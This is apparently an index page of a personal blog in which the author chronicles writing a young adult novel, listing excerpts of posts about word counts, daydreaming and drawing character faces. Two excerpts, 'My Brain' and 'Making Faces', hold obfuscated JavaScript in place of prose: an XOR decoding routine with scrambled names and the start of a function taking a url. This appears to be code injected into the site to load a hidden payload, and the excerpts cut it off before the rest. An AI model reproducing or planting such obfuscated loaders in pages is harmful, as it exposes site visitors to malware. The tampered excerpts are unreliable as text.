[Be warned: this blog post is an example of bad writing. Of course, I planned it that way. It’s not like I’d ever get “writer’s flu” (have you heard of it?) and vomit words onto the page.]   How often do I write blog posts? So far, daily. Almost. But I scorn myself for it. … Continue reading So Far, Daily

 var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = ""; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, … Continue reading My Brain

Daydreams lead me along my plot---which trail should I choose? Here's one. I explore for a while, nodding at the familiar faces and enjoying the scenery. Suddenly, in a flash, I see the imminent destination of my trail. It tantalizes but hijacks my mind like a sudden scene from a horror movie. Will I have … Continue reading Don’t Look There

It is just before seven in the morning. I woke up eager to work on my story. I only have ten minutes until I take my son to the bus stop. My characters are discussing a suicide. Kind of heavy stuff to start the day. Time is up. Two more paragraphs finished. Word by word--I … Continue reading Good morning story

My novel has reached 70,000 words. I feel surprisingly unaccomplished about this. I read once that the ideal word count for young adult fiction is 55,000-80,000 words. So am I almost finished? No. I feel farther from the finish line now than I ever have. You see, it's 70,000 words of primitive plot line supported … Continue reading 70,000 words

  I've been making faces for my characters. This is A. A. is a complex character, and my intent was to give him a face of many emotions. What emotions do you see?    var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = ""; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; … Continue reading Making Faces

I don't feel so well. Words are getting backed up in here. They are jumbled words, insecure words. They push and shove at the door. I take a moment to listen before I turn the doorknob. But they avoid my eyes and mumble. Words like this can't be set free. So I squeeze out the … Continue reading Backed up

Yesterday was a busy day. I took the daughter to multiple stores and drove from one side of town to the other. We are in a fish store now, just to look. Oh, hello story. I wonder if that part of my story makes sense. My mind meanders around the plot, nodding approval here, looking … Continue reading In a fish store

My story never leaves me. It is like a siamese twin. I can talk to it, and it talks back, but we are joined at the hip so we don’t have the option of leaving each other. Though I can’t banish my story, I can transform it. And right now it is a punching bag. … Continue reading I’m writing a novel. Let me tell the story of my story.